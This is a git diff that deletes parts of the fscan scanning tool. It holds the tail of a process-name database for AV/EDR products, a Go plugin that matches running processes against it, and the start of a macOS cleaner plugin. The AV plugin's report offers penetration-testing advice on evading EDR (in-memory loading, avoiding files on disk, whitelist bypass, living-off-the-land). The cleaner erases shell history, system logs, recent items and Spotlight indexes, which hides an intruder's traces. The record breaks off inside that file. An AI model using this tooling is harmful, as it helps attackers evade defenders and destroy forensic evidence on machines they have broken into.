"vet95.exe", - "vettray.exe", - "vfsetup.exe", - "vir-help.exe", - "virusmdpersonalfirewall.exe", - "vnlan300.exe", - "vnpc3000.exe", - "vpc42.exe", - "vpfw30s.exe", - "vscan40.exe", - "vscenu6.02d30.exe", - "vsched.exe", - "vsecomr.exe", - "vsisetup.exe", - "vsmain.exe", - "vswin9xe.exe", - "vswinntse.exe", - "vswinperse.exe", - "w32dsm89.exe", - "w9x.exe", - "watchdog.exe", - "webdav.exe", - "wfindv32.exe", - "whoswatchingme.exe", - "wimmun32.exe", - "win-bugsfix.exe", - "win32.exe", - "win32us.exe", - "winactive.exe", - "window.exe", - "windows.exe", - "wininetd.exe", - "wininitx.exe", - "winlogin.exe", - "winmain.exe", - "winnet.exe", - "winppr32.exe", - "winrecon.exe", - "winservn.exe", - "winssk32.exe", - "winstart.exe", - "winstart001.exe", - "wintsk32.exe", - "winupdate.exe", - "wkufind.exe", - "wnad.exe", - "wnt.exe", - "wradmin.exe", - "wsbgate.exe", - "wupdater.exe", - "wupdt.exe", - "wyvernworksfirewall.exe", - "xpf202en.exe", - "zapsetup3001.exe", - "zatutor.exe", - "zonalm2601.exe", - "A2CMD.exe", - "ADVCHK.exe", - "AGB.exe", - "AKRNL.exe", - "AHPROCMONSERVER.exe", - "AIRDEFENSE.exe", - "ALERTSVC.exe", - "AVIRA.exe", - "AMON.exe", - "TROJAN.exe", - "AVZ.exe", - "ANTIVIR.exe", - "ARMOR2NET.exe", - "ASH.exeexe.exe", - "ASHENHCD.exe", - "ASHMAISV.exe", - "ASHPOPWZ.exe", - "ASHSERV.exe", - "ASHSIMPL.exe", - "ASHSKPCK.exe", - "ASHWEBSV.exe", - "ASWUPDSV.exe", - "ASWSCAN.exe", - "AVCIMAN.exe", - "AVENGINE.exe", - "AVESVC.exe", - "AVEVAL.exe", - "AVEVL32.exe", - "AVGAM.exe", - "AVGCC.exe", - "AVGCHSVX.exe", - "AVGCSRVX.exe", - "AVGNSX.exe", - "AVGCC32.exe", - "AVGCTRL.exe", - "AVGFWSRV.exe", - "AVGNTMGR.exe", - "AVGTRAY.exe", - "AVGUPSVC.exe", - "AVINITNT.exe", - "AVKSERV.exe", - "AVKSERVICE.exe", - "AVP32.exe", - "AVSERVER.exe", - "AVSCHED32.exe", - "AVSYNMGR.exe", - "AVWUPD32.exe", - "AVXMONITOR.exe", - "AVXQUAR.exe", - "BDSWITCH.exe", - "BLACKICE.exe", - "CAFIX.exe", - "CFP.exe", - "CFPCONFIG.exe", - "CFIAUDIT.exe", - "CLAMWIN.exe", - "CUREIT.exe", - "DEFWATCH.exe", - "DRVIRUS.exe", - "DRWADINS.exe", - "DRWEB.exe", - "DEFENDERDAEMON.exe", - "DWEBLLIO.exe", - "DWEBIO.exe", - "ESCANH95.exe", - "ESCANHNT.exe", - "EWIDOCTRL.exe", - "EZANTIVIRUSREGISTRATIONCHECK.exe", - "FILEMON.exe", - "FIREWALL.exe", - "FORTISCAN.exe", - "FPWIN.exe", - "FSBWSYS.exe", - "F-SCHED.exe", - "FSDFWD.exe", - "FSGK32.exe", - "FSGK32ST.exe", - "FSGUIEXE.exe", - "FSPEX.exe", - "GCASDTSERV.exe", - "GCASSERV.exe", - "GIANTANTISPYWARE.exe", - "GUARDGUI.exe", - "GUARDNT.exe", - "HREGMON.exe", - "HRRES.exe", - "HSOCKPE.exe", - "HUPDATE.exe", - "IAMSERV.exe", - "ICLOAD95.exe", - "ICLOADNT.exe", - "ICMON.exe", - "ICSSUPPNT.exe", - "ICSUPP95.exe", - "ICSUPPNT.exe", - "INETUPD.exe", - "INOCIT.exe", - "INORPC.exe", - "INORT.exe", - "INOTASK.exe", - "INOUPTNG.exe", - "IOMON98.exe", - "ISAFE.exe", - "ISATRAY.exe", - "KAV.exe", - "KAVMM.exe", - "KAVPFW.exe", - "KAVSTART.exe", - "KAVSVC.exe", - "KAVSVCUI.exe", - "KMAILMON.exe", - "MAMUTU.exe", - "MCAGENT.exe", - "MCREGWIZ.exe", - "MCUPDATE.exe", - "MINILOG.exe", - "MYAGTSVC.exe", - "MYAGTTRY.exe", - "NAVLU32.exe", - "NAVW32.exe", - "NEOWATCHLOG.exe", - "NEOWATCHTRAY.exe", - "NISSERV.exe", - "NOD32.exe", - "NORMIST.exe", - "NOTSTART.exe", - "NPAVTRAY.exe", - "NPFMSG.exe", - "NSCHED32.exe", - "NSMDTR.exe", - "NSSSERV.exe", - "NSSTRAY.exe", - "NTOS.exe", - "NTXCONFIG.exe", - "NUPGRADE.exe", - "NVCOD.exe", - "NVCTE.exe", - "NVCUT.exe", - "NWSERVICE.exe", - "OFCPFWSVC.exe", - "OPSSVC.exe", - "OP_MON.exe", - "PAVFIRES.exe", - "PAVFNSVR.exe", - "PAVKRE.exe", - "PAVPROT.exe", - "PAVPRSRV.exe", - "PAVSRV51.exe", - "PAVSS.exe", - "PCCGUIDE.exe", - "PCCIOMON.exe", - "PCCPFW.exe", - "PCCTLCOM.exe", - "PERTSK.exe", - "PERVAC.exe", - "PESTPATROL.exe", - "PNMSRV.exe", - "PREVSRV.exe", - "PREVX.exe", - "PSIMSVC.exe", - "QHONLINE.exe", - "QHONSVC.exe", - "QHWSCSVC.exe", - "QHSET.exe", - "RTVSCN95.exe", - "SALITY.exe", - "SAVADMINSERVICE.exe", - "SAVSCAN.exe", - "SCANNINGPROCESS.exe", - "SDRA64.exe", - "SDHELP.exe", - "SITECLI.exe", - "SPBBCSVC.exe", - "SPIDERCPL.exe", - "SPIDERML.exe", - "SPIDERUI.exe", - "SPYBOTSD.exe", - "SPYXX.exe", - "SS3EDIT.exe", - "STOPSIGNAV.exe", - "SWAGENT.exe", - "SWDOCTOR.exe", - "SWNETSUP.exe", - "SYMLCSVC.exe", - "SYMSPORT.exe", - "SYMWSC.exe", - "SYNMGR.exe", - "TAUMON.exe", - "TMNTSRV.exe", - "TMPROXY.exe", - "TNBUTIL.exe", - "VBA32ECM.exe", - "VBA32IFS.exe", - "VBA32LDR.exe", - "VBA32PP3.exe", - "VBSNTW.exe", - "VCRMON.exe", - "VRFWSVC.exe", - "VRRW32.exe", - "VSECOMR.exe", - "WATCHDOG.exe", - "WINSSNOTIFY.exe", - "XCOMMSVR.exe", - "ZLCLIENT.exe", - "navap.exe", - "sahagent.exe" - ], - "url": "" - }, - "G Data文件系统实时监控": { - "processes": [ - "avkwctl9.exe", - "AVKWCTL.exe" - ], - "url": "" - }, - "Sophos Anti-Virus": { - "processes": [ - "SAVMAIN.exe" - ], - "url": "" - }, - "360保险箱": { - "processes": [ - "safeboxTray.exe", - "360safebox.exe" - ], - "url": "" - }, - "G Data扫描器": { - "processes": [ - "GDScan.exe" - ], - "url": "" - }, - "G Data杀毒代理": { - "processes": [ - "AVKProxy.exe" - ], - "url": "" - }, - "G Data备份服务": { - "processes": [ - "AVKBackupService.exe" - ], - "url": "" - }, - "亚信安全服务器深度安全防护系统": { - "processes": [ - "Notifier.exe" - ], - "url": "" - }, - "阿里云盾": { - "processes": [ - "AliYunDun.exe", - "AliYunDunUpdate.exe", - "aliyun_assist_service.exe", - "/usr/local/aegis/aegis_client/" - ], - "url": "" - }, - "腾讯云安全": { - "processes": [ - "BaradAgent.exe", - "sgagent.exe", - "YDService.exe", - "YDLive.exe", - "YDEdr.exe" - ], - "url": "" - }, - "360主机卫士Web": { - "processes": [ - "360WebSafe.exe", - "QHSrv.exe", - "QHWebshellGuard.exe" - ], - "url": "" - }, - "网防G01": { - "processes": [ - "gov_defence_service.exe", - "gov_defence_daemon.exe" - ], - "url": "" - }, - "云锁客户端": { - "processes": [ - "PC.exe" - ], - "url": "" - }, - "Symantec Shared诺顿邮件防火墙软件": { - "processes": [ - "SNDSrvc.exe" - ], - "url": "" - }, - "U盘杀毒专家": { - "processes": [ - "USBKiller.exe" - ], - "url": "" - }, - "天擎EDRAgent": { - "processes": [ - "360EntClient.exe" - ], - "url": "" - }, - "360(奇安信)天擎": { - "processes": [ - "360EntMisc.exe" - ], - "url": "" - }, - "阿里云-云盾": { - "processes": [ - "alisecguard.exe" - ], - "url": "" - }, - "Sophos AutoUpdate Service": { - "processes": [ - "ALsvc.exe" - ], - "url": "" - }, - "阿里云监控": { - "processes": [ - "CmsGoAgent.windows-amd64." - ], - "url": "" - }, - "深信服EDRAgent": { - "processes": [ - "edr_agent.exe", - "edr_monitor.exe", - "edr_sec_plan.exe" - ], - "url": "https://edr.sangfor.com.cn" - }, - "戎码翼龙 NG-EDR": { - "processes": [ - "rm_service.exe", - "rm_live.exe", - "rm_tray.exe", - "rm_hips.exe" - ], - "url": "https://www.rongma.com" - }, - "启明星辰天珣EDRAgent": { - "processes": [ - "ESAV.exe", - "ESCCControl.exe", - "ESCC.exe", - "ESCCIndex.exe" - ], - "url": "" - }, - "蓝鲸Agent": { - "processes": [ - "gse_win_agent.exe", - "gse_win_daemon.exe" - ], - "url": "" - }, - "联想电脑管家": { - "processes": [ - "LAVService.exe" - ], - "url": "" - }, - "Sophos MCS Agent": { - "processes": [ - "McsAgent.exe" - ], - "url": "" - }, - "Sophos MCS Client": { - "processes": [ - "McsClient.exe" - ], - "url": "" - }, - "360TotalSecurity(360国际版)": { - "processes": [ - "QHSafeMain.exe", - "QHSafeTray.exe", - "QHWatchdog.exe", - "QHActiveDefense.exe" - ], - "url": "" - }, - "Sophos Device Control Service": { - "processes": [ - "sdcservice.exe" - ], - "url": "" - }, - "Sophos Endpoint Defense Service": { - "processes": [ - "SEDService.exe" - ], - "url": "" - }, - "Windows Defender SmartScreen": { - "processes": [ - "smartscreen.exe" - ], - "url": "https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/" - }, - "Sophos Clean Service": { - "processes": [ - "SophosCleanM64.exe" - ], - "url": "" - }, - "Sophos FIM": { - "processes": [ - "SophosFIMService.exe" - ], - "url": "" - }, - "Sophos System Protection Service": { - "processes": [ - "SSPService.exe" - ], - "url": "" - }, - "Sophos Web Control Service": { - "processes": [ - "swc_service.exe" - ], - "url": "" - }, - "天眼云镜": { - "processes": [ - "TitanAgent.exe", - "TitanMonitor.exe" - ], - "url": "" - }, - "天融信终端防御": { - "processes": [ - "TopsecMain.exe", - "TopsecTray.exe" - ], - "url": "" - }, - "360杀毒-网盾": { - "processes": [ - "wdswfsafe.exe" - ], - "url": "" - }, - "智量安全": { - "processes": [ - "WiseVector.exe", - "WiseVectorSvc.exe" - ], - "url": "" - }, - "天擎": { - "processes": [ - "QAXEntClient.exe", - "QAXTray.exe" - ], - "url": "" - }, - "安恒主机卫士": { - "processes": [ - "AgentService.exe", - "ProtectMain.exe" - ], - "url": "" - }, - "亚信DS服务端": { - "processes": [ - "Deep Security Manager.exe" - ], - "url": "https://www.asiainfo-sec.com/product/detail-148.html" - }, - "亚信DS客户端": { - "processes": [ - "dsa.exe", - "UniAccessAgent.exe", - "dsvp.exe" - ], - "url": "https://www.asiainfo-sec.com/product/detail-148.html" - }, - "深信服EDR": { - "processes": [ - "/sangfor/edr/agent" - ], - "url": "https://edr.sangfor.com.cn" - }, - "阿里云云助手守护进程": { - "processes": [ - "/assist-daemon/assist_daemon" - ], - "url": "" - }, - "zabbix agen端": { - "processes": [ - "zabbix_agentd" - ], - "url": "" - }, - "阿里云盾升级": { - "processes": [ - "/usr/local/aegis/aegis_update/AliYunDunUpdate" - ], - "url": "" - }, - "阿里云助手": { - "processes": [ - "/usr/local/share/aliyun-assist" - ], - "url": "" - }, - "阿里系监控": { - "processes": [ - "AliHips", - "AliNet", - "AliDetect", - "AliScriptEngine" - ], - "url": "" - }, - "腾讯系监控": { - "processes": [ - "secu-tcs-agent", - "/usr/local/qcloud/stargate/", - "/usr/local/qcloud/monitor/", - "/usr/local/qcloud/YunJing/" - ], - "url": "" - }, - "腾讯自动化助手TAT产品": { - "processes": [ - "/usr/local/qcloud/tat_agent/" - ], - "url": "" - }, - "SentinelOne(哨兵一号)": { - "processes": [ - "SentinelServiceHost.exe", - "SentinelStaticEngine.exe", - "SentinelStaticEngineScanner.exe", - "SentinelMemoryScanner.exe", - "SentinelAgent.exe", - "SentinelAgentWorker.exe", - "SentinelUI.exe" - ], - "url": "https://www.sentinelone.com/" - }, - "OneSec(微步)": { - "processes": [ - "tbAgent.exe", - "tbAgentSrv.exe", - "tbGuard.exe" - ], - "url": "https://threatbook.cn/onesec" - }, - "亚信安全防毒墙网络版": { - "processes": [ - "PccNT.exe", - "PccNTMon.exe", - "PccNTUpd.exe" - ], - "url": "https://asiainfo-sec.com/product/detail-122.html" - }, - "Illumio ZTS": { - "processes": [ - "venVtapServer.exe", - "venPlatformHandler.exe", - "venAgentMonitor.exe", - "venAgentMgr.exe" - ], - "url": "https://www.illumio.com/" - }, - "奇安信统一服务器安全": { - "processes": [ - "NuboshEndpoint.exe" - ], - "url": "https://www.qianxin.com/product/detail/pid/394" - }, - "IObit Malware Fighter": { - "processes": [ - "IMF.exe", - "IMFCore.exe", - "IMFsrv.exe", - "IMFSrvWsc.exe" - ], - "url":"https://www.iobit.com/en/malware-fighter.php" - } -} diff --git a/plugins/local_backup/avdetect/plugin.go b/plugins/local_backup/avdetect/plugin.go deleted file mode 100644 index 3aedd30..0000000 --- a/plugins/local_backup/avdetect/plugin.go +++ /dev/null @@ -1,608 +0,0 @@ -package avdetect - -import ( - "bufio" - "context" - _ "embed" - "encoding/json" - "fmt" - "os" - "os/exec" - "path/filepath" - "runtime" - "sort" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -//go:embed auto.json -var embeddedAVDatabase []byte - -// AVDetectPlugin AV/EDR检测插件 - 使用简化架构 -type AVDetectPlugin struct { - *local.BaseLocalPlugin - avDatabase map[string]AVProduct -} - -// AVProduct AV/EDR产品信息 -type AVProduct struct { - Processes []string `json:"processes"` - URL string `json:"url"` -} - -// ProcessInfo 进程信息 -type ProcessInfo struct { - Name string - PID string - SessionName string - SessionID string - MemUsage string - Services []string // 服务信息 -} - -// DetectionResult 检测结果 -type DetectionResult struct { - ProductName string `json:"product_name"` - DetectedProcesses []ProcessInfo `json:"detected_processes"` - URL string `json:"url"` - RiskLevel string `json:"risk_level"` - Category string `json:"category"` -} - -// NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本 -func NewAVDetectPlugin() *AVDetectPlugin { - metadata := &base.PluginMetadata{ - Name: "avdetect", - Version: "1.0.0", - Author: "fscan-team", - Description: "自动化AV/EDR检测插件,基于嵌入式规则库识别安全软件", - Category: "local", - Tags: []string{"local", "av", "edr", "detection", "security"}, - Protocols: []string{"local"}, - } - - plugin := &AVDetectPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - avDatabase: make(map[string]AVProduct), - } - - // 设置支持的平台 (仅Windows) - plugin.SetPlatformSupport([]string{"windows"}) - // 不需要特殊权限 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// Initialize 初始化插件 -func (p *AVDetectPlugin) Initialize() error { - // 先调用基类初始化 - if err := p.BaseLocalPlugin.Initialize(); err != nil { - return err - } - - // 加载AV数据库 - return p.loadAVDatabase() -} - -// getRunningProcesses 获取运行中的进程列表 -func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) { - var processes []ProcessInfo - var cmd *exec.Cmd - - switch runtime.GOOS { - case "windows": - // Windows使用PowerShell获取进程信息以避免编码问题 - cmd = exec.Command("powershell", "-Command", "Get-Process | Select-Object Name,Id,ProcessName | ConvertTo-Csv -NoTypeInformation") - case "linux", "darwin": - // Unix-like系统使用ps命令 - cmd = exec.Command("ps", "aux") - default: - return nil, fmt.Errorf("不支持的操作系统: %s", runtime.GOOS) - } - - output, err := cmd.Output() - if err != nil { - return nil, fmt.Errorf("执行命令失败: %v", err) - } - - // 解析命令输出 - processes, err = p.parseProcessOutput(string(output)) - if err != nil { - return nil, fmt.Errorf("解析进程信息失败: %v", err) - } - - return processes, nil -} - -// parseProcessOutput 解析进程命令输出 -func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) { - var processes []ProcessInfo - scanner := bufio.NewScanner(strings.NewReader(output)) - - switch runtime.GOOS { - case "windows": - // 跳过CSV标题行 - if scanner.Scan() { - // 标题行,跳过 - } - - for scanner.Scan() { - line := scanner.Text() - if line == "" { - continue - } - - // 解析PowerShell CSV格式:Name,Id,ProcessName - fields := p.parseCSVLine(line) - if len(fields) >= 3 { - processName := strings.Trim(fields[0], "\"") - // 如果进程名不包含.exe,则添加 - if !strings.HasSuffix(strings.ToLower(processName), ".exe") { - processName += ".exe" - } - - process := ProcessInfo{ - Name: processName, - PID: strings.Trim(fields[1], "\""), - } - - processes = append(processes, process) - } - } - - case "linux", "darwin": - // 跳过ps命令的标题行 - if scanner.Scan() { - // 标题行,跳过 - } - - for scanner.Scan() { - line := scanner.Text() - if line == "" { - continue - } - - // 解析ps aux输出 - fields := strings.Fields(line) - if len(fields) >= 11 { - process := ProcessInfo{ - Name: fields[10], // 命令名 - PID: fields[1], // PID - MemUsage: fields[5], // 内存使用 - } - processes = append(processes, process) - } - } - } - - return processes, scanner.Err() -} - -// parseCSVLine 解析CSV行,处理引号内的逗号 -func (p *AVDetectPlugin) parseCSVLine(line string) []string { - var fields []string - var current strings.Builder - inQuotes := false - - for i, char := range line { - switch char { - case '"': - inQuotes = !inQuotes - current.WriteRune(char) - case ',': - if inQuotes { - current.WriteRune(char) - } else { - fields = append(fields, current.String()) - current.Reset() - } - default: - current.WriteRune(char) - } - - // 处理行尾 - if i == len(line)-1 { - fields = append(fields, current.String()) - } - } - - return fields -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行AV/EDR检测扫描 - 简化版本 -func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogInfo("开始AV/EDR安全软件检测...") - - // 获取运行进程 - processes, err := p.getRunningProcesses() - if err != nil { - common.LogError(fmt.Sprintf("获取进程列表失败: %v", err)) - // 不返回错误,继续执行但结果可能不完整 - processes = []ProcessInfo{} - } - - common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes))) - - // 检测AV/EDR产品 - detectionResults := p.detectAVEDR(processes) - - // 获取系统信息 - systemInfo := p.GetSystemInfo() - - // 生成检测报告 - report := p.generateDetectionReport(detectionResults, systemInfo) - - if len(detectionResults) == 0 { - common.LogInfo("未检测到已知的AV/EDR安全产品") - return &base.ScanResult{ - Success: true, - Service: "AVDetect", - Banner: "未检测到已知的AV/EDR安全产品", - Extra: map[string]interface{}{ - "detected_products": detectionResults, - "total_processes": len(processes), - "detection_report": report, - "platform": runtime.GOOS, - "database_products": len(p.avDatabase), - }, - }, nil - } - - // 输出检测结果 - common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults))) - for _, result := range detectionResults { - common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses))) - } - - result := &base.ScanResult{ - Success: true, - Service: "AVDetect", - Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)), - Extra: map[string]interface{}{ - "detected_products": detectionResults, - "total_processes": len(processes), - "detection_report": report, - "platform": runtime.GOOS, - "database_products": len(p.avDatabase), - }, - } - - if len(detectionResults) > 0 { - common.LogSuccess(fmt.Sprintf("AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults))) - for _, detection := range detectionResults { - common.LogSuccess(fmt.Sprintf("检测到: %s (%d个进程)", detection.ProductName, len(detection.DetectedProcesses))) - } - } else { - common.LogBase("未检测到已知的AV/EDR安全产品") - } - - return result, nil -} - -// loadAVDatabase 加载AV/EDR数据库 -func (p *AVDetectPlugin) loadAVDatabase() error { - // 首先尝试使用嵌入的数据库 - common.LogDebug("使用嵌入的AV/EDR规则数据库") - - err := json.Unmarshal(embeddedAVDatabase, &p.avDatabase) - if err != nil { - return fmt.Errorf("解析嵌入的AV数据库失败: %v", err) - } - - if len(p.avDatabase) == 0 { - return fmt.Errorf("嵌入的AV数据库为空或格式错误") - } - - return nil -} - -// detectAVEDR 检测AV/EDR产品 -func (p *AVDetectPlugin) detectAVEDR(processes []ProcessInfo) []DetectionResult { - var results []DetectionResult - processMap := make(map[string][]ProcessInfo) - - // 构建进程名称映射,忽略大小写 - for _, process := range processes { - processName := strings.ToLower(process.Name) - processMap[processName] = append(processMap[processName], process) - } - - // 遍历AV数据库进行匹配 - for productName, avProduct := range p.avDatabase { - var detectedProcesses []ProcessInfo - - // 检查每个已知进程 - for _, targetProcess := range avProduct.Processes { - targetProcessLower := strings.ToLower(targetProcess) - - // 精确匹配 - if matchedProcesses, exists := processMap[targetProcessLower]; exists { - detectedProcesses = append(detectedProcesses, matchedProcesses...) - } else { - // 模糊匹配(去除扩展名) - targetWithoutExt := strings.TrimSuffix(targetProcessLower, filepath.Ext(targetProcessLower)) - for processName, matchedProcesses := range processMap { - processWithoutExt := strings.TrimSuffix(processName, filepath.Ext(processName)) - if processWithoutExt == targetWithoutExt { - detectedProcesses = append(detectedProcesses, matchedProcesses...) - break - } - } - } - } - - // 如果检测到进程,添加到结果中 - if len(detectedProcesses) > 0 { - // 去重 - detectedProcesses = p.deduplicateProcesses(detectedProcesses) - - result := DetectionResult{ - ProductName: productName, - DetectedProcesses: detectedProcesses, - URL: avProduct.URL, - RiskLevel: p.assessRiskLevel(productName, detectedProcesses), - Category: p.categorizeProduct(productName), - } - - results = append(results, result) - } - } - - // 按检测到的进程数量排序 - sort.Slice(results, func(i, j int) bool { - return len(results[i].DetectedProcesses) > len(results[j].DetectedProcesses) - }) - - return results -} - -// deduplicateProcesses 去重进程列表 -func (p *AVDetectPlugin) deduplicateProcesses(processes []ProcessInfo) []ProcessInfo { - seen := make(map[string]bool) - var result []ProcessInfo - - for _, process := range processes { - key := fmt.Sprintf("%s-%s", process.Name, process.PID) - if !seen[key] { - seen[key] = true - result = append(result, process) - } - } - - return result -} - -// assessRiskLevel 评估风险等级 -func (p *AVDetectPlugin) assessRiskLevel(productName string, processes []ProcessInfo) string { - // 基于产品名称和进程数量评估风险等级 - productLower := strings.ToLower(productName) - - // 高风险EDR产品 - highRiskKeywords := []string{"crowdstrike", "sentinelone", "cybereason", "endgame", - "fireeye", "trellix", "elastic security", "深信服", "奇安信", "天擎"} - - for _, keyword := range highRiskKeywords { - if strings.Contains(productLower, strings.ToLower(keyword)) { - return "HIGH" - } - } - - // 中等风险(企业级AV) - mediumRiskKeywords := []string{"kaspersky", "symantec", "mcafee", "趋势科技", - "bitdefender", "eset", "sophos", "火绒", "360"} - - for _, keyword := range mediumRiskKeywords { - if strings.Contains(productLower, strings.ToLower(keyword)) { - return "MEDIUM" - } - } - - // 根据进程数量判断 - if len(processes) >= 3 { - return "MEDIUM" - } - - return "LOW" -} - -// categorizeProduct 产品分类 -func (p *AVDetectPlugin) categorizeProduct(productName string) string { - productLower := strings.ToLower(productName) - - // EDR产品 - edrKeywords := []string{"edr", "endpoint", "crowdstrike", "sentinelone", - "cybereason", "深信服edr", "天擎", "elastic security"} - - for _, keyword := range edrKeywords { - if strings.Contains(productLower, strings.ToLower(keyword)) { - return "EDR" - } - } - - // 企业级防病毒 - enterpriseKeywords := []string{"enterprise", "business", "server", - "corporate", "管理版", "企业版"} - - for _, keyword := range enterpriseKeywords { - if strings.Contains(productLower, strings.ToLower(keyword)) { - return "Enterprise AV" - } - } - - // 云安全 - cloudKeywords := []string{"cloud", "阿里云", "腾讯云", "云锁", "云安全"} - - for _, keyword := range cloudKeywords { - if strings.Contains(productLower, strings.ToLower(keyword)) { - return "Cloud Security" - } - } - - // 主机防护 - hostKeywords := []string{"host", "hips", "主机", "防护", "卫士"} - - for _, keyword := range hostKeywords { - if strings.Contains(productLower, strings.ToLower(keyword)) { - return "Host Protection" - } - } - - return "Traditional AV" -} - -// generateDetectionReport 生成检测报告 -func (p *AVDetectPlugin) generateDetectionReport(results []DetectionResult, systemInfo map[string]string) string { - var report strings.Builder - - report.WriteString("=== AV/EDR 检测报告 ===\n") - report.WriteString(fmt.Sprintf("扫描时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))) - report.WriteString(fmt.Sprintf("系统平台: %s/%s\n", systemInfo["os"], systemInfo["arch"])) - report.WriteString(fmt.Sprintf("检测产品: %d 个\n\n", len(results))) - - if len(results) == 0 { - report.WriteString("未检测到已知的AV/EDR产品\n") - report.WriteString("注意: 可能存在未知安全软件或进程伪装\n") - return report.String() - } - - // 按风险等级分组 - riskGroups := map[string][]DetectionResult{ - "HIGH": {}, - "MEDIUM": {}, - "LOW": {}, - } - - for _, result := range results { - riskGroups[result.RiskLevel] = append(riskGroups[result.RiskLevel], result) - } - - // 高风险产品 - if len(riskGroups["HIGH"]) > 0 { - report.WriteString("🔴 高风险安全产品:\n") - for _, result := range riskGroups["HIGH"] { - report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n", - result.ProductName, result.Category, len(result.DetectedProcesses))) - for _, process := range result.DetectedProcesses { - report.WriteString(fmt.Sprintf(" - %s (PID: %s)\n", process.Name, process.PID)) - } - } - report.WriteString("\n") - } - - // 中等风险产品 - if len(riskGroups["MEDIUM"]) > 0 { - report.WriteString("🟡 中等风险安全产品:\n") - for _, result := range riskGroups["MEDIUM"] { - report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n", - result.ProductName, result.Category, len(result.DetectedProcesses))) - } - report.WriteString("\n") - } - - // 低风险产品 - if len(riskGroups["LOW"]) > 0 { - report.WriteString("🟢 低风险安全产品:\n") - for _, result := range riskGroups["LOW"] { - report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n", - result.ProductName, result.Category, len(result.DetectedProcesses))) - } - report.WriteString("\n") - } - - // 建议 - report.WriteString("=== 渗透测试建议 ===\n") - if len(riskGroups["HIGH"]) > 0 { - report.WriteString("⚠️ 检测到高级EDR产品,建议:\n") - report.WriteString(" - 使用内存加载技术\n") - report.WriteString(" - 避免落地文件\n") - report.WriteString(" - 使用白名单绕过技术\n") - report.WriteString(" - 考虑Living off the Land技术\n\n") - } - - if len(results) > 1 { - report.WriteString("📊 检测到多个安全产品,环境复杂度较高\n") - } - - return report.String() -} - -// GetLocalData 获取AV/EDR检测本地数据 -func (p *AVDetectPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - // 获取系统信息 - data["plugin_type"] = "avdetect" - data["platform"] = runtime.GOOS - data["arch"] = runtime.GOARCH - data["database_size"] = len(p.avDatabase) - - if homeDir, err := os.UserHomeDir(); err == nil { - data["home_dir"] = homeDir - } - - if workDir, err := os.Getwd(); err == nil { - data["work_dir"] = workDir - } - - return data, nil -} - -// ExtractData 提取AV/EDR检测数据 -func (p *AVDetectPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: "AV/EDR检测完成", - Data: data, - Extra: map[string]interface{}{ - "detection_type": "automated", - "database_version": "auto.json", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *AVDetectPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString(fmt.Sprintf("AV/EDR自动检测插件 - 规则库: %d 个产品\n", len(p.avDatabase))) - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString("检测方式: tasklist/ps + JSON规则匹配\n") - info.WriteString("功能: 自动识别常见AV/EDR产品并评估风险等级\n") - - return info.String() -} - -// RegisterAVDetectPlugin 注册AV/EDR检测插件 -func RegisterAVDetectPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "avdetect", - Version: "1.0.0", - Author: "fscan-team", - Description: "自动化AV/EDR检测插件,基于auto.json规则库识别安全软件", - Category: "local", - Tags: []string{"avdetect", "local", "av", "edr", "security"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewAVDetectPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("avdetect", factory) -} - -// init 插件注册函数 -func init() { - RegisterAVDetectPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/cleaner/cleaner_darwin.go b/plugins/local_backup/cleaner/cleaner_darwin.go deleted file mode 100644 index 02e0a1d..0000000 --- a/plugins/local_backup/cleaner/cleaner_darwin.go +++ /dev/null @@ -1,404 +0,0 @@ -//go:build darwin - -package cleaner - -import ( - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" -) - -// cleanSystemTraces 清理macOS系统痕迹 -func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} { - report := make(map[string]interface{}) - var cleaned []string - - // 1. 清理Shell历史记录 - if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 { - cleaned = append(cleaned, shellHistory...) - report["shell_history"] = shellHistory - } - - // 2. 清理系统日志 - if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 { - cleaned = append(cleaned, systemLogs...) - report["system_logs"] = systemLogs - } - - // 3. 清理最近项目记录 - if recentItems := p.cleanRecentItems(); len(recentItems) > 0 { - cleaned = append(cleaned, recentItems...) - report["recent_items"] = recentItems - } - - // 4. 清理Spotlight索引 - if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 { - cleaned = append(cleaned, spotlight...) - report["spotlight_index"] = spotlight - } - - // 5. 清理临时文件 - if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 { - cleaned = append(cleaned, 